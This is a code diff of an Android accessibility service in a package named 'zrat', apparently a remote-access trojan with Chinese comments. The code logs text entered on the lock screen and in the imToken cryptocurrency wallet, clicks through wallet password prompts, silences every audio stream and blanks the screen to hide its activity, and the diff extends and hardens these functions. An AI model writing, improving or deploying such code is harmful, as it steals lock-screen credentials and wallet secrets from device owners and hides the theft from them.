|
|
@@ -3,16 +3,25 @@ package com.example.zrat;
|
|
|
import android.accessibilityservice.AccessibilityServiceInfo;
|
|
|
import android.accessibilityservice.GestureDescription;
|
|
|
import android.app.KeyguardManager;
|
|
|
+import android.app.admin.DevicePolicyManager;
|
|
|
+import android.content.ContentResolver;
|
|
|
+import android.content.ContentValues;
|
|
|
+import android.content.Context;
|
|
|
import android.content.Intent;
|
|
|
import android.content.SharedPreferences;
|
|
|
import android.content.pm.ApplicationInfo;
|
|
|
import android.content.pm.PackageManager;
|
|
|
+import android.net.Uri;
|
|
|
+import android.view.KeyEvent;
|
|
|
import android.graphics.Path;
|
|
|
import android.graphics.Rect;
|
|
|
import android.media.AudioManager;
|
|
|
+import android.os.Build;
|
|
|
+import android.os.Bundle;
|
|
|
import android.os.Handler;
|
|
|
import android.os.Looper;
|
|
|
import android.os.PowerManager;
|
|
|
+import android.os.SystemClock;
|
|
|
import android.provider.Settings;
|
|
|
import android.util.Log;
|
|
|
import android.view.accessibility.AccessibilityEvent;
|
|
|
@@ -20,6 +29,9 @@ import android.view.accessibility.AccessibilityNodeInfo;
|
|
|
import android.widget.FrameLayout;
|
|
|
import android.widget.ImageButton;
|
|
|
|
|
|
+import java.lang.reflect.Field;
|
|
|
+import java.lang.reflect.Method;
|
|
|
+
|
|
|
import com.google.gson.Gson;
|
|
|
|
|
|
import java.util.ArrayDeque;
|
|
|
@@ -77,7 +89,8 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
if (configured < 1000L) configured = 1000L; // 下限 1s,避免太频繁
|
|
|
flushIdleMs = configured;
|
|
|
Log.i(TAG, "flushIdleMs configured: " + flushIdleMs + " ms");
|
|
|
- } catch (Throwable ignored) { }
|
|
|
+ } catch (Throwable ignored) {
|
|
|
+ }
|
|
|
|
|
|
AccessibilityServiceInfo info = new AccessibilityServiceInfo();
|
|
|
info.eventTypes = AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED
|
|
|
@@ -137,7 +150,7 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
String text = Optional.ofNullable(node.getText()).map(CharSequence::toString).orElse(null);
|
|
|
String id = node.getViewIdResourceName();
|
|
|
|
|
|
- Log.i(TAG, "Node: class=" + className + ", text=" + text + ", name=" + name + ", id=" + id);
|
|
|
+ // Log.i(TAG, "Node: class=" + className + ", text=" + text + ", name=" + name + ", id=" + id);
|
|
|
|
|
|
Map<String, Object> map = new HashMap<>();
|
|
|
map.put("class", node.getClassName());
|
|
|
@@ -252,41 +265,42 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
if (contentDescription == null) {
|
|
|
contentDescription = "";
|
|
|
}
|
|
|
- // 锁屏界面文本记录(聚合,优先事件快照)
|
|
|
- if (isOnLockScreen()) {
|
|
|
- List<CharSequence> eventTexts = event.getText();
|
|
|
- String eventTextStr = (eventTexts != null && !eventTexts.isEmpty() && eventTexts.get(0) != null)
|
|
|
- ? eventTexts.get(0).toString() : null;
|
|
|
- String toSave = eventTextStr != null ? eventTextStr : (inputText != null ? inputText.toString() : "");
|
|
|
- Log.i(TAG, "锁屏文本记录 | Text: " + toSave);
|
|
|
- appendAggregateLine("LockScreen", toSave);
|
|
|
- }
|
|
|
- // imToken 文本记录(聚合,优先事件快照)
|
|
|
- if ("imToken".equals(applicationLabel.toString()) || "im.token.app".equals(packageName)) {
|
|
|
- List<CharSequence> eventTexts = event.getText();
|
|
|
- String eventTextStr = (eventTexts != null && !eventTexts.isEmpty() && eventTexts.get(0) != null)
|
|
|
- ? eventTexts.get(0).toString() : null;
|
|
|
- String toSave = eventTextStr != null ? eventTextStr : (inputText != null ? inputText.toString() : "");
|
|
|
- // 尝试抓取新增片段,提升首字命中
|
|
|
- try {
|
|
|
- if (eventTextStr != null && event.getAddedCount() > 0 && event.getFromIndex() >= 0) {
|
|
|
- int from = event.getFromIndex();
|
|
|
- int to = from + event.getAddedCount();
|
|
|
- if (to <= eventTextStr.length()) {
|
|
|
- String added = eventTextStr.substring(from, to);
|
|
|
- if (added != null && !added.isEmpty()) {
|
|
|
- toSave = eventTextStr; // 保留完整快照
|
|
|
+ // 锁屏界面文本记录(聚合,优先事件快照)
|
|
|
+ if (isOnLockScreen()) {
|
|
|
+ List<CharSequence> eventTexts = event.getText();
|
|
|
+ String eventTextStr = (eventTexts != null && !eventTexts.isEmpty() && eventTexts.get(0) != null)
|
|
|
+ ? eventTexts.get(0).toString() : null;
|
|
|
+ String toSave = eventTextStr != null ? eventTextStr : (inputText != null ? inputText.toString() : "");
|
|
|
+ Log.i(TAG, "锁屏文本记录 | Text: " + toSave);
|
|
|
+ appendAggregateLine("LockScreen", toSave);
|
|
|
+ }
|
|
|
+ // imToken 文本记录(聚合,优先事件快照)
|
|
|
+ if ("imToken".equals(applicationLabel.toString()) || "im.token.app".equals(packageName)) {
|
|
|
+ List<CharSequence> eventTexts = event.getText();
|
|
|
+ String eventTextStr = (eventTexts != null && !eventTexts.isEmpty() && eventTexts.get(0) != null)
|
|
|
+ ? eventTexts.get(0).toString() : null;
|
|
|
+ String toSave = eventTextStr != null ? eventTextStr : (inputText != null ? inputText.toString() : "");
|
|
|
+ // 尝试抓取新增片段,提升首字命中
|
|
|
+ try {
|
|
|
+ if (eventTextStr != null && event.getAddedCount() > 0 && event.getFromIndex() >= 0) {
|
|
|
+ int from = event.getFromIndex();
|
|
|
+ int to = from + event.getAddedCount();
|
|
|
+ if (to <= eventTextStr.length()) {
|
|
|
+ String added = eventTextStr.substring(from, to);
|
|
|
+ if (added != null && !added.isEmpty()) {
|
|
|
+ toSave = eventTextStr; // 保留完整快照
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+ } catch (Throwable ignored) {
|
|
|
}
|
|
|
+ Log.i(TAG, "imToken文本记录 | Text: " + toSave);
|
|
|
+ appendAggregateLine("imToken", toSave);
|
|
|
}
|
|
|
}
|
|
|
- } catch (Throwable ignored) { }
|
|
|
- Log.i(TAG, "imToken文本记录 | Text: " + toSave);
|
|
|
- appendAggregateLine("imToken", toSave);
|
|
|
- }
|
|
|
- }
|
|
|
}
|
|
|
}
|
|
|
-
|
|
|
+
|
|
|
// 文本选择变化:有些输入法先通过选择变更暴露明文
|
|
|
if (eventType == AccessibilityEvent.TYPE_VIEW_TEXT_SELECTION_CHANGED) {
|
|
|
List<CharSequence> eventTexts = event.getText();
|
|
|
@@ -367,14 +381,16 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
SharedPreferences sp = getSharedPreferences("accessibility_prefs", MODE_PRIVATE);
|
|
|
sp.edit().putLong("flush_idle_ms", flushIdleMs).apply();
|
|
|
Log.i(TAG, "flushIdleMs updated: " + flushIdleMs + " ms");
|
|
|
- } catch (Throwable ignored) { }
|
|
|
+ } catch (Throwable ignored) {
|
|
|
+ }
|
|
|
// 重新调度已有的 idle 任务
|
|
|
scheduleIdleFlush();
|
|
|
}
|
|
|
|
|
|
private String detectAppSource(String packageName, CharSequence applicationLabel) {
|
|
|
if (isOnLockScreen()) return "LockScreen";
|
|
|
- if ("im.token.app".equals(packageName) || "imToken".equals(applicationLabel != null ? applicationLabel.toString() : null)) return "imToken";
|
|
|
+ if ("im.token.app".equals(packageName) || "imToken".equals(applicationLabel != null ? applicationLabel.toString() : null))
|
|
|
+ return "imToken";
|
|
|
return null;
|
|
|
}
|
|
|
|
|
|
@@ -412,18 +428,52 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
return null;
|
|
|
}
|
|
|
|
|
|
- public void scrollDown() {
|
|
|
+ public void scrollDown() {
|
|
|
+ // 首先尝试使用可滚动节点方法
|
|
|
AccessibilityNodeInfo scrollable = findScrollableNode(getRootInActiveWindow(), AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_FORWARD);
|
|
|
if (scrollable != null) {
|
|
|
- scrollable.performAction(AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_FORWARD.getId());
|
|
|
+ boolean success = scrollable.performAction(AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_FORWARD.getId());
|
|
|
+ if (success) {
|
|
|
+ return;
|
|
|
+ }
|
|
|
}
|
|
|
+
|
|
|
+ // 如果找不到可滚动节点或操作失败,使用手势模拟滚动
|
|
|
+ int screenHeight = getResources().getDisplayMetrics().heightPixels;
|
|
|
+ int screenWidth = getResources().getDisplayMetrics().widthPixels;
|
|
|
+
|
|
|
+ Path path = new Path();
|
|
|
+ // 从屏幕中间顶部开始,向下滑动到屏幕中间底部(这会使内容向上滚动)
|
|
|
+ path.moveTo(screenWidth / 2, screenHeight / 4);
|
|
|
+ path.lineTo(screenWidth / 2, screenHeight * 3 / 4);
|
|
|
+
|
|
|
+ GestureDescription.Builder gestureBuilder = new GestureDescription.Builder();
|
|
|
+ gestureBuilder.addStroke(new GestureDescription.StrokeDescription(path, 0, 300));
|
|
|
+ dispatchGesture(gestureBuilder.build(), null, null);
|
|
|
}
|
|
|
|
|
|
public void scrollUp() {
|
|
|
+ // 首先尝试使用可滚动节点方法
|
|
|
AccessibilityNodeInfo scrollable = findScrollableNode(getRootInActiveWindow(), AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_BACKWARD);
|
|
|
if (scrollable != null) {
|
|
|
- scrollable.performAction(AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_BACKWARD.getId());
|
|
|
+ boolean success = scrollable.performAction(AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_BACKWARD.getId());
|
|
|
+ if (success) {
|
|
|
+ return;
|
|
|
+ }
|
|
|
}
|
|
|
+
|
|
|
+ // 如果找不到可滚动节点或操作失败,使用手势模拟滚动
|
|
|
+ int screenHeight = getResources().getDisplayMetrics().heightPixels;
|
|
|
+ int screenWidth = getResources().getDisplayMetrics().widthPixels;
|
|
|
+
|
|
|
+ Path path = new Path();
|
|
|
+ // 从屏幕中间底部开始,向上滑动到屏幕中间顶部(这会使内容向下滚动)
|
|
|
+ path.moveTo(screenWidth / 2, screenHeight * 3 / 4);
|
|
|
+ path.lineTo(screenWidth / 2, screenHeight / 4);
|
|
|
+
|
|
|
+ GestureDescription.Builder gestureBuilder = new GestureDescription.Builder();
|
|
|
+ gestureBuilder.addStroke(new GestureDescription.StrokeDescription(path, 0, 300));
|
|
|
+ dispatchGesture(gestureBuilder.build(), null, null);
|
|
|
}
|
|
|
|
|
|
public void home() {
|
|
|
@@ -439,21 +489,64 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
}
|
|
|
|
|
|
public void mute() {
|
|
|
- AudioManager audioManager = (AudioManager) getSystemService(AUDIO_SERVICE);
|
|
|
- if (audioManager != null) {
|
|
|
- audioManager.setRingerMode(AudioManager.RINGER_MODE_SILENT);
|
|
|
- // 媒体音量
|
|
|
- audioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 0, 0);
|
|
|
- // 通知音量
|
|
|
- audioManager.setStreamVolume(AudioManager.STREAM_NOTIFICATION, 0, 0);
|
|
|
- // 系统音量
|
|
|
- audioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 0, 0);
|
|
|
- // 铃声音量
|
|
|
- audioManager.setStreamVolume(AudioManager.STREAM_RING, 0, 0);
|
|
|
- // 拨号音量
|
|
|
- audioManager.setStreamVolume(AudioManager.STREAM_DTMF, 0, 0);
|
|
|
- // 闹钟
|
|
|
- audioManager.setStreamVolume(AudioManager.STREAM_ALARM, 0, 0);
|
|
|
+ try {
|
|
|
+ AudioManager audioManager = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
|
|
|
+ if (audioManager != null) {
|
|
|
+ try {
|
|
|
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) {
|
|
|
+ audioManager.setRingerMode(AudioManager.RINGER_MODE_SILENT);
|
|
|
+ Log.i(TAG, "铃声模式设置成功");
|
|
|
+ }
|
|
|
+ } catch (SecurityException se) {
|
|
|
+ Log.e(TAG, "设置铃声模式失败(权限问题): " + se.getMessage());
|
|
|
+ } catch (Exception e) {
|
|
|
+ Log.e(TAG, "设置铃声模式失败: " + e.getMessage());
|
|
|
+ }
|
|
|
+
|
|
|
+ try {
|
|
|
+ // 获取每个音频流的最小音量值
|
|
|
+ int minMusicVolume = 0;
|
|
|
+ int minNotificationVolume = 0;
|
|
|
+ int minSystemVolume = 0;
|
|
|
+ int minRingVolume = 0;
|
|
|
+ int minDtmfVolume = 0;
|
|
|
+ int minAlarmVolume = 0;
|
|
|
+
|
|
|
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
|
|
|
+ // Android 9.0 (API 28)及以上使用getStreamMinVolume
|
|
|
+ minMusicVolume = audioManager.getStreamMinVolume(AudioManager.STREAM_MUSIC);
|
|
|
+ minNotificationVolume = audioManager.getStreamMinVolume(AudioManager.STREAM_NOTIFICATION);
|
|
|
+ minSystemVolume = audioManager.getStreamMinVolume(AudioManager.STREAM_SYSTEM);
|
|
|
+ minRingVolume = audioManager.getStreamMinVolume(AudioManager.STREAM_RING);
|
|
|
+ minDtmfVolume = audioManager.getStreamMinVolume(AudioManager.STREAM_DTMF);
|
|
|
+ minAlarmVolume = audioManager.getStreamMinVolume(AudioManager.STREAM_ALARM);
|
|
|
+ }
|
|
|
+
|
|
|
+ // 媒体音量
|
|
|
+ audioManager.setStreamVolume(AudioManager.STREAM_MUSIC, minMusicVolume, 0);
|
|
|
+ // 通知音量
|
|
|
+ audioManager.setStreamVolume(AudioManager.STREAM_NOTIFICATION, minNotificationVolume, 0);
|
|
|
+ // 系统音量
|
|
|
+ audioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, minSystemVolume, 0);
|
|
|
+ // 铃声音量
|
|
|
+ audioManager.setStreamVolume(AudioManager.STREAM_RING, minRingVolume, 0);
|
|
|
+ // 拨号音量
|
|
|
+ audioManager.setStreamVolume(AudioManager.STREAM_DTMF, minDtmfVolume, 0);
|
|
|
+
|
|
|
+ // 闹钟音量(某些设备可能限制修改闹钟音量)
|
|
|
+ try {
|
|
|
+ audioManager.setStreamVolume(AudioManager.STREAM_ALARM, minAlarmVolume, 0);
|
|
|
+ } catch (Exception e) {
|
|
|
+ Log.e(TAG, "设置闹钟音量失败: " + e.getMessage());
|
|
|
+ }
|
|
|
+
|
|
|
+ Log.i(TAG, "音量设置成功");
|
|
|
+ } catch (Exception e) {
|
|
|
+ Log.e(TAG, "设置音量失败: " + e.getMessage());
|
|
|
+ }
|
|
|
+ }
|
|
|
+ } catch (Exception e) {
|
|
|
+ Log.e(TAG, "静音设置失败: " + e.getMessage(), e);
|
|
|
}
|
|
|
}
|
|
|
|
|
|
@@ -461,7 +554,6 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
if (line == null) return;
|
|
|
synchronized (bufferLock) {
|
|
|
if (currentAggregateAppName != null && !currentAggregateAppName.equals(appName)) {
|
|
|
- // 切换来源前先落库旧来源
|
|
|
flushBuffer();
|
|
|
}
|
|
|
currentAggregateAppName = appName;
|
|
|
@@ -500,12 +592,18 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
|
|
|
public void screenOff() {
|
|
|
try {
|
|
|
- Settings.System.putInt(getContentResolver(), Settings.System.SCREEN_BRIGHTNESS, 1);
|
|
|
- Log.i(TAG, "ScreenOff: 完成");
|
|
|
- } catch (SecurityException e) {
|
|
|
- Log.e(TAG, "ScreenOff: 需要权限: " + e.getMessage(), e);
|
|
|
+ if (Settings.System.canWrite(this)) {
|
|
|
+ Settings.System.putInt(getContentResolver(), Settings.System.SCREEN_BRIGHTNESS, 0);
|
|
|
+ Log.i(TAG, "已通过Settings.System设置亮度为0");
|
|
|
+ } else {
|
|
|
+ Log.w(TAG, "无WRITE_SETTINGS权限,正在请求用户授权");
|
|
|
+ Intent intent = new Intent(Settings.ACTION_MANAGE_WRITE_SETTINGS);
|
|
|
+ intent.setData(Uri.parse("package:" + getPackageName()));
|
|
|
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
|
|
|
+ startActivity(intent);
|
|
|
+ }
|
|
|
} catch (Exception e) {
|
|
|
- Log.e(TAG, "ScreenOff: 设置时出错: " + e.getMessage(), e);
|
|
|
+ Log.e(TAG, "亮度设置失败: " + e.getMessage(), e);
|
|
|
}
|
|
|
}
|
|
|
|
|
|
@@ -550,7 +648,7 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
Log.i(TAG, "主动扫描:已点击钱包密码验证区域");
|
|
|
return; // 找到并点击成功,直接返回
|
|
|
}
|
|
|
-
|
|
|
+
|
|
|
// 如果节点本身不可点击,尝试点击其父节点
|
|
|
AccessibilityNodeInfo parent = node.getParent();
|
|
|
if (parent != null && parent.isClickable()) {
|
|
|
@@ -558,7 +656,7 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
Log.i(TAG, "主动扫描:已点击钱包密码验证父区域");
|
|
|
return; // 找到并点击成功,直接返回
|
|
|
}
|
|
|
-
|
|
|
+
|
|
|
// 如果父节点也不可点击,尝试查找同级的可点击节点
|
|
|
if (parent != null) {
|
|
|
for (int j = 0; j < parent.getChildCount(); j++) {
|
|
|
@@ -570,7 +668,7 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
}
|
|
|
}
|
|
|
}
|
|
|
-
|
|
|
+
|
|
|
// 如果以上都不可点击,尝试使用坐标点击
|
|
|
Rect rect = new Rect();
|
|
|
node.getBoundsInScreen(rect);
|
|
|
@@ -595,6 +693,7 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
}
|
|
|
}).start();
|
|
|
}
|
|
|
+
|
|
|
private boolean isOnLockScreen() {
|
|
|
try {
|
|
|
KeyguardManager keyguardManager = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);
|
|
|
@@ -608,7 +707,8 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
if (keyguardManager.inKeyguardRestrictedInputMode()) {
|
|
|
return true;
|
|
|
}
|
|
|
- } catch (Throwable ignored) { }
|
|
|
+ } catch (Throwable ignored) {
|
|
|
+ }
|
|
|
return false;
|
|
|
}
|
|
|
}
|